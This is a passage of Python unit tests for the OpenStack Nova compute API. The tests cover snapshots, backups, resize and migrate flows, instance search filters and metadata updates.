extra_properties) image_id = recv_meta['id'] def fake_show(meh, context, id): return recv_meta instance = db.instance_update(self.context, instance['uuid'], {'task_state': None}) fake_image.stub_out_image_service(self.stubs) self.stubs.Set(fake_image._FakeImageService, 'show', fake_show) image = self.compute_api.snapshot(self.context, instance, name, extra_properties, image_id=image_id) self.assertEqual(image, recv_meta) db.instance_destroy(self.context, instance['uuid']) def test_snapshot_minram_mindisk_VHD(self): """Ensure a snapshots min_ram and min_disk are correct. A snapshot of a non-shrinkable VHD should have min_disk set to that of the original instances flavor. """ self.fake_image.update(disk_format='vhd', min_ram=1, min_disk=1) self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) instance = self._create_fake_instance(type_name='m1.small') image = self.compute_api.snapshot(self.context, instance, 'snap1', {'extra_param': 'value1'}) self.assertEqual(image['name'], 'snap1') instance_type = flavors.extract_flavor(instance) self.assertEqual(image['min_ram'], self.fake_image['min_ram']) self.assertEqual(image['min_disk'], instance_type['root_gb']) properties = image['properties'] self.assertTrue('backup_type' not in properties) self.assertEqual(properties['image_type'], 'snapshot') self.assertEqual(properties['instance_uuid'], instance['uuid']) self.assertEqual(properties['extra_param'], 'value1') def test_snapshot_mindisk_with_bigger_flavor(self): """If minDisk is smaller than flavor root_gb, the latter should be used as minDisk """ self.fake_image['min_disk'] = 0 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) instance = self._create_fake_instance() image = self.compute_api.snapshot(self.context, instance, 'snap1', {'extra_param': 'value1'}) self.assertEqual(image['min_disk'], 1) db.instance_destroy(self.context, instance['uuid']) def test_snapshot_minram_mindisk(self): """Ensure a snapshots min_ram and min_disk are correct. A snapshot of an instance should have min_ram and min_disk set to that of the instances original image unless that image had a disk format of vhd. """ self.fake_image['disk_format'] = 'raw' self.fake_image['min_ram'] = 512 self.fake_image['min_disk'] = 1 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) instance = self._create_fake_instance() image = self.compute_api.snapshot(self.context, instance, 'snap1', {'extra_param': 'value1'}) self.assertEqual(image['name'], 'snap1') self.assertEqual(image['min_ram'], 512) self.assertEqual(image['min_disk'], 1) properties = image['properties'] self.assertTrue('backup_type' not in properties) self.assertEqual(properties['image_type'], 'snapshot') self.assertEqual(properties['instance_uuid'], instance['uuid']) self.assertEqual(properties['extra_param'], 'value1') db.instance_destroy(self.context, instance['uuid']) def test_snapshot_minram_mindisk_img_missing_minram(self): """Ensure a snapshots min_ram and min_disk are correct. Do not show an attribute that the orig img did not have. """ self.fake_image['disk_format'] = 'raw' self.fake_image['min_disk'] = 1 self.stubs.Set(fake_image._FakeImageService, 'show', self.fake_show) instance = self._create_fake_instance() image = self.compute_api.snapshot(self.context, instance, 'snap1', {'extra_param': 'value1'}) self.assertEqual(image['name'], 'snap1') self.assertFalse('min_ram' in image) self.assertEqual(image['min_disk'], 1) properties = image['properties'] self.assertTrue('backup_type' not in properties) self.assertEqual(properties['image_type'], 'snapshot') self.assertEqual(properties['instance_uuid'], instance['uuid']) self.assertEqual(properties['extra_param'], 'value1') db.instance_destroy(self.context, instance['uuid']) def test_snapshot_minram_mindisk_no_image(self): """Ensure a snapshots min_ram and min_disk are correct. A snapshots min_ram and min_disk should be set to default if an instances original image cannot be found. """ # Cells tests will call this a 2nd time in child cell with # the newly created image_id, and we want that one to succeed. old_show = fake_image._FakeImageService.show flag = [] def fake_show(*args): if not flag: flag.append(1) raise exception.ImageNotFound(image_id="fake") else: return old_show(*args) self.stubs.Set(fake_image._FakeImageService, 'show', fake_show) instance = self._create_fake_instance() image = self.compute_api.snapshot(self.context, instance, 'snap1', {'extra_param': 'value1'}) self.assertEqual(image['name'], 'snap1') # min_ram and min_disk are not returned when set to default self.assertFalse('min_ram' in image) self.assertFalse('min_disk' in image) properties = image['properties'] self.assertTrue('backup_type' not in properties) self.assertEqual(properties['image_type'], 'snapshot') self.assertEqual(properties['instance_uuid'], instance['uuid']) self.assertEqual(properties['extra_param'], 'value1') db.instance_destroy(self.context, instance['uuid']) def test_snapshot_image_metadata_inheritance(self): # Ensure image snapshots inherit metadata from the base image self.flags(non_inheritable_image_properties=['spam']) def fake_instance_system_metadata_get(context, uuid): return dict(image_a=1, image_b=2, image_c='c', d='d', spam='spam') self.stubs.Set(db, 'instance_system_metadata_get', fake_instance_system_metadata_get) instance = self._create_fake_instance() image = self.compute_api.snapshot(self.context, instance, 'snap1', {'extra_param': 'value1'}) properties = image['properties'] self.assertEqual(properties['a'], 1) self.assertEqual(properties['b'], 2) self.assertEqual(properties['c'], 'c') self.assertEqual(properties['d'], 'd') self.assertFalse('spam' in properties) def _do_test_snapshot_image_service_fails(self, method, image_id): # Ensure task_state remains at None if image service fails. def fake_fails(*args, **kwargs): raise test.TestingException() restore = getattr(fake_image._FakeImageService, method) self.stubs.Set(fake_image._FakeImageService, method, fake_fails) instance = self._create_fake_instance() self.assertRaises(test.TestingException, self.compute_api.snapshot, self.context, instance, 'no_image_snapshot', image_id=image_id) self.stubs.Set(fake_image._FakeImageService, method, restore) db_instance = db.instance_get_all(self.context)[0] self.assertIsNone(db_instance['task_state']) def test_snapshot_image_creation_fails(self): self._do_test_snapshot_image_service_fails('create', None) def test_snapshot_image_show_fails(self): self._do_test_snapshot_image_service_fails('show', 'image') def _do_test_backup_image_service_fails(self, method, image_id): # Ensure task_state remains at None if image service fails. def fake_fails(*args, **kwargs): raise test.TestingException() restore = getattr(fake_image._FakeImageService, method) self.stubs.Set(fake_image._FakeImageService, method, fake_fails) instance = self._create_fake_instance() self.assertRaises(test.TestingException, self.compute_api.backup, self.context, instance, 'no_image_backup', 'DAILY', 0, image_id=image_id) self.stubs.Set(fake_image._FakeImageService, method, restore) db_instance = db.instance_get_all(self.context)[0] self.assertIsNone(db_instance['task_state']) def test_backup_image_creation_fails(self): self._do_test_backup_image_service_fails('create', None) def test_backup_image_show_fails(self): self._do_test_backup_image_service_fails('show', 'image') def test_backup(self): # Can't backup an instance which is already being backed up. instance = self._create_fake_instance() image = self.compute_api.backup(self.context, instance, 'backup1', 'DAILY', None, {'extra_param': 'value1'}) self.assertEqual(image['name'], 'backup1') properties = image['properties'] self.assertEqual(properties['backup_type'], 'DAILY') self.assertEqual(properties['image_type'], 'backup') self.assertEqual(properties['instance_uuid'], instance['uuid']) self.assertEqual(properties['extra_param'], 'value1') db.instance_destroy(self.context, instance['uuid']) def test_backup_conflict(self): # Can't backup an instance which is already being backed up. instance = self._create_fake_instance() instance_values = {'task_state': task_states.IMAGE_BACKUP} db.instance_update(self.context, instance['uuid'], instance_values) instance = self.compute_api.get(self.context, instance['uuid']) self.assertRaises(exception.InstanceInvalidState, self.compute_api.backup, self.context, instance, None, None, None) db.instance_destroy(self.context, instance['uuid']) def test_snapshot_conflict(self): # Can't snapshot an instance which is already being snapshotted. instance = self._create_fake_instance() instance_values = {'task_state': task_states.IMAGE_SNAPSHOT} db.instance_update(self.context, instance['uuid'], instance_values) instance = self.compute_api.get(self.context, instance['uuid']) self.assertRaises(exception.InstanceInvalidState, self.compute_api.snapshot, self.context, instance, None) db.instance_destroy(self.context, instance['uuid']) def test_resize_confirm_through_api(self): instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.compute_api.resize(self.context, instance, '4') # Do the prep/finish_resize steps (manager does this) old_type = flavors.extract_flavor(instance) new_type = flavors.get_flavor_by_flavor_id('4') sys_meta = utils.metadata_to_dict(instance['system_metadata']) sys_meta = flavors.save_flavor_info(sys_meta, old_type, 'old_') sys_meta = flavors.save_flavor_info(sys_meta, new_type, 'new_') sys_meta = flavors.save_flavor_info(sys_meta, new_type) # create a fake migration record (manager does this) db.migration_create(self.context.elevated(), {'instance_uuid': instance['uuid'], 'status': 'finished'}) # set the state that the instance gets when resize finishes instance = db.instance_update(self.context, instance['uuid'], {'task_state': None, 'vm_state': vm_states.RESIZED, 'system_metadata': sys_meta}) self.compute_api.confirm_resize(self.context, instance) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def test_allow_confirm_resize_on_instance_in_deleting_task_state(self): instance = self._create_fake_instance() old_type = flavors.extract_flavor(instance) new_type = flavors.get_flavor_by_flavor_id('4') sys_meta = utils.metadata_to_dict(instance['system_metadata']) sys_meta = flavors.save_flavor_info(sys_meta, old_type, 'old_') sys_meta = flavors.save_flavor_info(sys_meta, new_type, 'new_') sys_meta = flavors.save_flavor_info(sys_meta, new_type) fake_rt = self.mox.CreateMockAnything() def fake_drop_resize_claim(*args, **kwargs): pass def fake_get_resource_tracker(self): return fake_rt self.stubs.Set(fake_rt, 'drop_resize_claim', fake_drop_resize_claim) self.stubs.Set(self.compute, '_get_resource_tracker', fake_get_resource_tracker) migration = db.migration_create(self.context.elevated(), {'instance_uuid': instance['uuid'], 'status': 'finished'}) instance = db.instance_update(self.context, instance['uuid'], {'task_state': task_states.DELETING, 'vm_state': vm_states.RESIZED, 'system_metadata': sys_meta}) self.compute.confirm_resize(self.context, instance, migration=migration) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(vm_states.ACTIVE, instance['vm_state']) def test_resize_revert_through_api(self): instance = jsonutils.to_primitive(self._create_fake_instance()) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.compute.run_instance(self.context, instance=instance) self.compute_api.resize(self.context, instance, '4') # create a fake migration record (manager does this) db.migration_create(self.context.elevated(), {'instance_uuid': instance['uuid'], 'status': 'finished'}) # set the state that the instance gets when resize finishes instance = db.instance_update(self.context, instance['uuid'], {'task_state': None, 'vm_state': vm_states.RESIZED}) self.compute_api.revert_resize(self.context, instance) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(instance['vm_state'], vm_states.RESIZED) self.assertEqual(instance['task_state'], task_states.RESIZE_REVERTING) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(instance)) def test_resize_invalid_flavor_fails(self): # Ensure invalid flavors raise. instance = self._create_fake_instance() instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) self.assertRaises(exception.NotFound, self.compute_api.resize, self.context, instance, 200) self.compute.terminate_instance(self.context, instance=instance) def test_resize_deleted_flavor_fails(self): instance = self._create_fake_instance() instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) name = 'test_resize_new_flavor' flavorid = 11 flavors.create(name, 128, 1, 0, ephemeral_gb=0, flavorid=flavorid, swap=0, rxtx_factor=1.0, is_public=True) flavors.destroy(name) self.assertRaises(exception.FlavorNotFound, self.compute_api.resize, self.context, instance, flavorid) self.compute.terminate_instance(self.context, instance=instance) def test_resize_same_flavor_fails(self): # Ensure invalid flavors raise. instance = self._create_fake_instance() instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) self.assertRaises(exception.CannotResizeToSameFlavor, self.compute_api.resize, self.context, instance, 1) self.compute.terminate_instance(self.context, instance=instance) def test_resize_quota_exceeds_fails(self): instance = self._create_fake_instance() instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) name = 'test_resize_with_big_mem' flavorid = 11 flavors.create(name, 102400, 1, 0, ephemeral_gb=0, flavorid=flavorid, swap=0, rxtx_factor=1.0, is_public=True) self.assertRaises(exception.TooManyInstances, self.compute_api.resize, self.context, instance, flavorid) flavors.destroy(name) self.compute.terminate_instance(self.context, instance=instance) def test_resize_by_admin_for_tenant_with_sufficient_quota(self): user_project_id = 'user' instance = self._create_fake_instance({'project_id': user_project_id}) self.context.is_admin = True db.quota_create(self.context, self.context.project_id, 'ram', 0) instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) name = 'test_resize_with_big_mem' flavor_id = 11 flavors.create(name, 1024, 1, 0, ephemeral_gb=0, flavorid=flavor_id, swap=0, rxtx_factor=1.0, is_public=True) deltas = {'ram': 512} reservations = ['reservation_id'] self.mox.StubOutWithMock(self.compute_api, '_reserve_quota_delta') self.compute_api._reserve_quota_delta(self.context, deltas, project_id=user_project_id). \ AndReturn(reservations) CONF.cells.enable = True self.mox.StubOutWithMock(nova.quota.QUOTAS, 'commit') nova.quota.QUOTAS.commit(self.context, reservations, project_id=user_project_id) self.mox.ReplayAll() self.compute_api.resize(self.context, instance, flavor_id) flavors.destroy(name) db.quota_destroy_all_by_project(self.context, self.context.project_id) self.compute.terminate_instance(self.context, instance=instance) def test_resize_revert_deleted_flavor_fails(self): orig_name = 'test_resize_revert_orig_flavor' orig_flavorid = 11 flavors.create(orig_name, 128, 1, 0, ephemeral_gb=0, flavorid=orig_flavorid, swap=0, rxtx_factor=1.0, is_public=True) instance = self._create_fake_instance(type_name=orig_name) instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) old_instance_type_id = instance['instance_type_id'] new_flavor = flavors.get_flavor_by_name('m1.tiny') new_flavorid = new_flavor['flavorid'] new_instance_type_id = new_flavor['id'] self.compute_api.resize(self.context, instance, new_flavorid) db.migration_create(self.context.elevated(), {'instance_uuid': instance['uuid'], 'old_instance_type_id': old_instance_type_id, 'new_instance_type_id': new_instance_type_id, 'status': 'finished'}) instance = db.instance_update(self.context, instance['uuid'], {'task_state': None, 'vm_state': vm_states.RESIZED}) flavors.destroy(orig_name) self.assertRaises(exception.InstanceTypeNotFound, self.compute_api.revert_resize, self.context, instance) self.compute.terminate_instance(self.context, instance=instance) def test_resize_no_image(self): def _fake_prep_resize(_context, **args): image = args['image'] self.assertEqual(image, {}) instance = self._create_fake_instance(params={'image_ref': ''}) instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) self.stubs.Set(self.compute_api.scheduler_rpcapi, 'prep_resize', _fake_prep_resize) self.compute_api.resize(self.context, instance, None) self.compute.terminate_instance(self.context, instance=instance) def test_migrate(self): instance = self._create_fake_instance() instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) # Migrate simply calls resize() without a flavor_id. self.compute_api.resize(self.context, instance, None) self.compute.terminate_instance(self.context, instance=instance) def test_resize_request_spec(self): def _fake_cast(_context, _topic, msg): request_spec = msg['args']['request_spec'] filter_properties = msg['args']['filter_properties'] instance_properties = request_spec['instance_properties'] # resize with flavor_id = None will still send instance_type self.assertEqual(request_spec['instance_type'], orig_instance_type) self.assertEqual(request_spec['instance_uuids'], [instance['uuid']]) self.assertEqual(FAKE_IMAGE_REF, request_spec['image']['id']) self.assertEqual(instance_properties['uuid'], instance['uuid']) self.assertEqual(instance_properties['host'], 'host2') # Ensure the instance passed to us has been updated with # progress set to 0 and task_state set to RESIZE_PREP. self.assertEqual(instance_properties['task_state'], task_states.RESIZE_PREP) self.assertEqual(instance_properties['progress'], 0) self.assertIn('host2', filter_properties['ignore_hosts']) def _noop(*args, **kwargs): pass self.stubs.Set(self.compute.cells_rpcapi, 'consoleauth_delete_tokens', _noop) self.stubs.Set(self.compute.consoleauth_rpcapi, 'delete_tokens_for_instance', _noop) self.stubs.Set(rpc, 'cast', _fake_cast) instance = self._create_fake_instance(dict(host='host2')) instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) orig_instance_type = flavors.extract_flavor(instance) self.compute.run_instance(self.context, instance=instance) # We need to set the host to something 'known'. Unfortunately, # the compute manager is using a cached copy of CONF.host, # so we can't just self.flags(host='host2') before calling # run_instance above. Also, set progress to 10 so we ensure # it is reset to 0 in compute_api.resize(). (verified in # _fake_cast above). instance = db.instance_update(self.context, instance['uuid'], dict(host='host2', progress=10)) # different host self.flags(host='host3') try: self.compute_api.resize(self.context, instance, None) finally: self.compute.terminate_instance(self.context, instance=instance) def test_resize_request_spec_noavoid(self): def _fake_cast(_context, topic, msg): request_spec = msg['args']['request_spec'] filter_properties = msg['args']['filter_properties'] instance_properties = request_spec['instance_properties'] self.assertEqual(instance_properties['host'], 'host2') # Ensure the instance passed to us has been updated with # progress set to 0 and task_state set to RESIZE_PREP. self.assertEqual(instance_properties['task_state'], task_states.RESIZE_PREP) self.assertEqual(instance_properties['progress'], 0) self.assertNotIn('host2', filter_properties['ignore_hosts']) def _noop(*args, **kwargs): pass self.stubs.Set(self.compute.cells_rpcapi, 'consoleauth_delete_tokens', _noop) self.stubs.Set(self.compute.consoleauth_rpcapi, 'delete_tokens_for_instance', _noop) self.stubs.Set(rpc, 'cast', _fake_cast) self.flags(allow_resize_to_same_host=True) self.flags(allow_migrate_to_same_host=True) instance = self._create_fake_instance(dict(host='host2')) instance = db.instance_get_by_uuid(self.context, instance['uuid']) instance = jsonutils.to_primitive(instance) self.compute.run_instance(self.context, instance=instance) # We need to set the host to something 'known'. Unfortunately, # the compute manager is using a cached copy of CONF.host, # so we can't just self.flags(host='host2') before calling # run_instance above. Also, set progress to 10 so we ensure # it is reset to 0 in compute_api.resize(). (verified in # _fake_cast above). instance = db.instance_update(self.context, instance['uuid'], dict(host='host2', progress=10)) # different host try: self.compute_api.resize(self.context, instance, None) finally: self.compute.terminate_instance(self.context, instance=instance) def test_get(self): # Test get instance. exp_instance = self._create_fake_instance() # NOTE(danms): Transform the db object in a similar way as # the API method will do. expected = obj_base.obj_to_primitive( instance_obj.Instance._from_db_object( self.context, instance_obj.Instance(), exp_instance, instance_obj.INSTANCE_DEFAULT_FIELDS + ['fault'])) def fake_db_get(_context, _instance_uuid, columns_to_join=None): return exp_instance self.stubs.Set(db, 'instance_get_by_uuid', fake_db_get) instance = self.compute_api.get(self.context, exp_instance['uuid']) self.assertEquals(unify_instance(expected), unify_instance(instance)) def test_get_with_admin_context(self): # Test get instance. c = context.get_admin_context() exp_instance = self._create_fake_instance() # NOTE(danms): Transform the db object in a similar way as # the API method will do. expected = obj_base.obj_to_primitive( instance_obj.Instance._from_db_object( c, instance_obj.Instance(), exp_instance, instance_obj.INSTANCE_DEFAULT_FIELDS + ['fault'])) def fake_db_get(context, instance_uuid, columns_to_join=None): return exp_instance self.stubs.Set(db, 'instance_get_by_uuid', fake_db_get) instance = self.compute_api.get(c, exp_instance['uuid']) self.assertEquals(unify_instance(expected), unify_instance(instance)) def test_get_with_integer_id(self): # Test get instance with an integer id. exp_instance = self._create_fake_instance() # NOTE(danms): Transform the db object in a similar way as # the API method will do. expected = obj_base.obj_to_primitive( instance_obj.Instance._from_db_object( self.context, instance_obj.Instance(), exp_instance, instance_obj.INSTANCE_DEFAULT_FIELDS + ['fields'])) def fake_db_get(_context, _instance_id, columns_to_join=None): return exp_instance self.stubs.Set(db, 'instance_get', fake_db_get) instance = self.compute_api.get(self.context, exp_instance['id']) self.assertEquals(unify_instance(expected), unify_instance(instance)) def test_get_all_by_name_regexp(self): # Test searching instances by name (display_name). c = context.get_admin_context() instance1 = self._create_fake_instance({'display_name': 'woot'}) instance2 = self._create_fake_instance({ 'display_name': 'woo'}) instance3 = self._create_fake_instance({ 'display_name': 'not-woot'}) instances = self.compute_api.get_all(c, search_opts={'name': '^woo.*'}) self.assertEqual(len(instances), 2) instance_uuids = [instance['uuid'] for instance in instances] self.assertTrue(instance1['uuid'] in instance_uuids) self.assertTrue(instance2['uuid'] in instance_uuids) instances = self.compute_api.get_all(c, search_opts={'name': '^woot.*'}) instance_uuids = [instance['uuid'] for instance in instances] self.assertEqual(len(instances), 1) self.assertTrue(instance1['uuid'] in instance_uuids) instances = self.compute_api.get_all(c, search_opts={'name': '.*oot.*'}) self.assertEqual(len(instances), 2) instance_uuids = [instance['uuid'] for instance in instances] self.assertTrue(instance1['uuid'] in instance_uuids) self.assertTrue(instance3['uuid'] in instance_uuids) instances = self.compute_api.get_all(c, search_opts={'name': '^n.*'}) self.assertEqual(len(instances), 1) instance_uuids = [instance['uuid'] for instance in instances] self.assertTrue(instance3['uuid'] in instance_uuids) instances = self.compute_api.get_all(c, search_opts={'name': 'noth.*'}) self.assertEqual(len(instances), 0) db.instance_destroy(c, instance1['uuid']) db.instance_destroy(c, instance2['uuid']) db.instance_destroy(c, instance3['uuid']) def test_get_all_by_multiple_options_at_once(self): # Test searching by multiple options at once. c = context.get_admin_context() network_manager = fake_network.FakeNetworkManager() self.stubs.Set(self.compute_api.network_api, 'get_instance_uuids_by_ip_filter', network_manager.get_instance_uuids_by_ip_filter) instance1 = self._create_fake_instance({ 'display_name': 'woot', 'id': 1, 'uuid': '00000000-0000-0000-0000-000000000010'}) instance2 = self._create_fake_instance({ 'display_name': 'woo', 'id': 20, 'uuid': '00000000-0000-0000-0000-000000000020'}) instance3 = self._create_fake_instance({ 'display_name': 'not-woot', 'id': 30, 'uuid': '00000000-0000-0000-0000-000000000030'}) # ip ends up matching 2nd octet here.. so all 3 match ip # but 'name' only matches one instances = self.compute_api.get_all(c, search_opts={'ip': '.*\.1', 'name': 'not.*'}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['uuid'], instance3['uuid']) # ip ends up matching any ip with a '1' in the last octet.. # so instance 1 and 3.. but name should only match #1 # but 'name' only matches one instances = self.compute_api.get_all(c, search_opts={'ip': '.*\.1$', 'name': '^woo.*'}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['uuid'], instance1['uuid']) # same as above but no match on name (name matches instance1 # but the ip query doesn't instances = self.compute_api.get_all(c, search_opts={'ip': '.*\.2$', 'name': '^woot.*'}) self.assertEqual(len(instances), 0) # ip matches all 3... ipv6 matches #2+#3...name matches #3 instances = self.compute_api.get_all(c, search_opts={'ip': '.*\.1', 'name': 'not.*', 'ip6': '^.*12.*34.*'}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['uuid'], instance3['uuid']) db.instance_destroy(c, instance1['uuid']) db.instance_destroy(c, instance2['uuid']) db.instance_destroy(c, instance3['uuid']) def test_get_all_by_image(self): # Test searching instances by image. c = context.get_admin_context() instance1 = self._create_fake_instance({'image_ref': '1234'}) instance2 = self._create_fake_instance({'image_ref': '4567'}) instance3 = self._create_fake_instance({'image_ref': '4567'}) instances = self.compute_api.get_all(c, search_opts={'image': '123'}) self.assertEqual(len(instances), 0) instances = self.compute_api.get_all(c, search_opts={'image': '1234'}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['uuid'], instance1['uuid']) instances = self.compute_api.get_all(c, search_opts={'image': '4567'}) self.assertEqual(len(instances), 2) instance_uuids = [instance['uuid'] for instance in instances] self.assertTrue(instance2['uuid'] in instance_uuids) self.assertTrue(instance3['uuid'] in instance_uuids) # Test passing a list as search arg instances = self.compute_api.get_all(c, search_opts={'image': ['1234', '4567']}) self.assertEqual(len(instances), 3) db.instance_destroy(c, instance1['uuid']) db.instance_destroy(c, instance2['uuid']) db.instance_destroy(c, instance3['uuid']) def test_get_all_by_flavor(self): # Test searching instances by image. c = context.get_admin_context() instance1 = self._create_fake_instance({'instance_type_id': 1}) instance2 = self._create_fake_instance({'instance_type_id': 2}) instance3 = self._create_fake_instance({'instance_type_id': 2}) # NOTE(comstud): Migrations set up the instance_types table # for us. Therefore, we assume the following is true for # these tests: # instance_type_id 1 == flavor 3 # instance_type_id 2 == flavor 1 # instance_type_id 3 == flavor 4 # instance_type_id 4 == flavor 5 # instance_type_id 5 == flavor 2 instances = self.compute_api.get_all(c, search_opts={'flavor': 5}) self.assertEqual(len(instances), 0) # ensure unknown filter maps to an exception self.assertRaises(exception.FlavorNotFound, self.compute_api.get_all, c, search_opts={'flavor': 99}) instances = self.compute_api.get_all(c, search_opts={'flavor': 3}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['id'], instance1['id']) instances = self.compute_api.get_all(c, search_opts={'flavor': 1}) self.assertEqual(len(instances), 2) instance_uuids = [instance['uuid'] for instance in instances] self.assertTrue(instance2['uuid'] in instance_uuids) self.assertTrue(instance3['uuid'] in instance_uuids) db.instance_destroy(c, instance1['uuid']) db.instance_destroy(c, instance2['uuid']) db.instance_destroy(c, instance3['uuid']) def test_get_all_by_state(self): # Test searching instances by state. c = context.get_admin_context() instance1 = self._create_fake_instance({ 'power_state': power_state.SHUTDOWN, }) instance2 = self._create_fake_instance({ 'power_state': power_state.RUNNING, }) instance3 = self._create_fake_instance({ 'power_state': power_state.RUNNING, }) instances = self.compute_api.get_all(c, search_opts={'power_state': power_state.SUSPENDED}) self.assertEqual(len(instances), 0) instances = self.compute_api.get_all(c, search_opts={'power_state': power_state.SHUTDOWN}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['uuid'], instance1['uuid']) instances = self.compute_api.get_all(c, search_opts={'power_state': power_state.RUNNING}) self.assertEqual(len(instances), 2) instance_uuids = [instance['uuid'] for instance in instances] self.assertTrue(instance2['uuid'] in instance_uuids) self.assertTrue(instance3['uuid'] in instance_uuids) # Test passing a list as search arg instances = self.compute_api.get_all(c, search_opts={'power_state': [power_state.SHUTDOWN, power_state.RUNNING]}) self.assertEqual(len(instances), 3) db.instance_destroy(c, instance1['uuid']) db.instance_destroy(c, instance2['uuid']) db.instance_destroy(c, instance3['uuid']) def test_get_all_by_metadata(self): # Test searching instances by metadata. c = context.get_admin_context() instance0 = self._create_fake_instance() instance1 = self._create_fake_instance({ 'metadata': {'key1': 'value1'}}) instance2 = self._create_fake_instance({ 'metadata': {'key2': 'value2'}}) instance3 = self._create_fake_instance({ 'metadata': {'key3': 'value3'}}) instance4 = self._create_fake_instance({ 'metadata': {'key3': 'value3', 'key4': 'value4'}}) # get all instances instances = self.compute_api.get_all(c, search_opts={'metadata': {}}) self.assertEqual(len(instances), 5) # wrong key/value combination instances = self.compute_api.get_all(c, search_opts={'metadata': {'key1': 'value3'}}) self.assertEqual(len(instances), 0) # non-existing keys instances = self.compute_api.get_all(c, search_opts={'metadata': {'key5': 'value1'}}) self.assertEqual(len(instances), 0) # find existing instance instances = self.compute_api.get_all(c, search_opts={'metadata': {'key2': 'value2'}}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['uuid'], instance2['uuid']) instances = self.compute_api.get_all(c, search_opts={'metadata': {'key3': 'value3'}}) self.assertEqual(len(instances), 2) instance_uuids = [instance['uuid'] for instance in instances] self.assertTrue(instance3['uuid'] in instance_uuids) self.assertTrue(instance4['uuid'] in instance_uuids) # multiple criteria as a dict instances = self.compute_api.get_all(c, search_opts={'metadata': {'key3': 'value3', 'key4': 'value4'}}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['uuid'], instance4['uuid']) # multiple criteria as a list instances = self.compute_api.get_all(c, search_opts={'metadata': [{'key4': 'value4'}, {'key3': 'value3'}]}) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['uuid'], instance4['uuid']) db.instance_destroy(c, instance0['uuid']) db.instance_destroy(c, instance1['uuid']) db.instance_destroy(c, instance2['uuid']) db.instance_destroy(c, instance3['uuid']) db.instance_destroy(c, instance4['uuid']) def test_all_instance_metadata(self): instance1 = self._create_fake_instance({'metadata': {'key1': 'value1'}, 'user_id': 'user1', 'project_id': 'project1'}) instance2 = self._create_fake_instance({'metadata': {'key2': 'value2'}, 'user_id': 'user2', 'project_id': 'project2'}) _context = self.context _context.user_id = 'user1' _context.project_id = 'project1' metadata = self.compute_api.get_all_instance_metadata(_context, search_filts=[]) self.assertTrue(len(metadata) == 1) self.assertEqual(metadata[0]['key'], 'key1') _context.user_id = 'user2' _context.project_id = 'project2' metadata = self.compute_api.get_all_instance_metadata(_context, search_filts=[]) self.assertTrue(len(metadata) == 1) self.assertEqual(metadata[0]['key'], 'key2') _context = context.get_admin_context() metadata = self.compute_api.get_all_instance_metadata(_context, search_filts=[]) self.assertTrue(len(metadata) == 2) def test_instance_metadata(self): meta_changes = [None] self.flags(notify_on_state_change='vm_state') def fake_change_instance_metadata(inst, ctxt, diff, instance=None, instance_uuid=None): meta_changes[0] = diff self.stubs.Set(compute_rpcapi.ComputeAPI, 'change_instance_metadata', fake_change_instance_metadata) _context = context.get_admin_context() instance = self._create_fake_instance({'metadata': {'key1': 'value1'}}) instance = dict(instance.iteritems()) metadata = self.compute_api.get_instance_metadata(_context, instance) self.assertEqual(metadata, {'key1': 'value1'}) self.compute_api.update_instance_metadata(_context, instance, {'key2': 'value2'}) metadata = self.compute_api.get_instance_metadata(_context, instance) self.assertEqual(metadata, {'key1': 'value1', 'key2': 'value2'}) self.assertEqual(meta_changes, [{'key2': ['+', 'value2']}]) self.assertEquals(len(test_notifier.NOTIFICATIONS), 1) msg = test_notifier.NOTIFICATIONS[0] payload = msg['payload'] self.assertTrue('metadata' in payload) self.assertEquals(payload['metadata'], metadata) new_metadata = {'key2': 'bah', 'key3': 'value3'} self.compute_api.update_instance_metadata(_context, instance, new_metadata, delete=True) metadata = self.compute_api.get_instance_metadata(_context, instance) self.assertEqual(metadata, new_metadata) self.assertEqual(meta_changes, [{ 'key1': ['-'], 'key2': ['+', 'bah'], 'key3': ['+', 'value3'], }]) self.assertEquals(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[1] payload = msg['payload'] self.assertTrue('metadata' in payload) self.assertEquals(payload['metadata'], metadata) self.compute_api.delete_instance_metadata(_context, instance, 'key2') metadata = self.compute_api.get_instance_metadata(_context, instance) self.assertEqual(metadata, {'key3': 'value3'}) self.assertEqual(meta_changes, [{'key2': ['-']}]) self.assertEquals(len(test_notifier.NOTIFICATIONS), 3) msg = test_notifier.NOTIFICATIONS[2] payload = msg['payload'] self.assertTrue('metadata' in payload) self.assertEquals(payload['metadata'], {}) db.instance_destroy(_context, instance['uuid']) 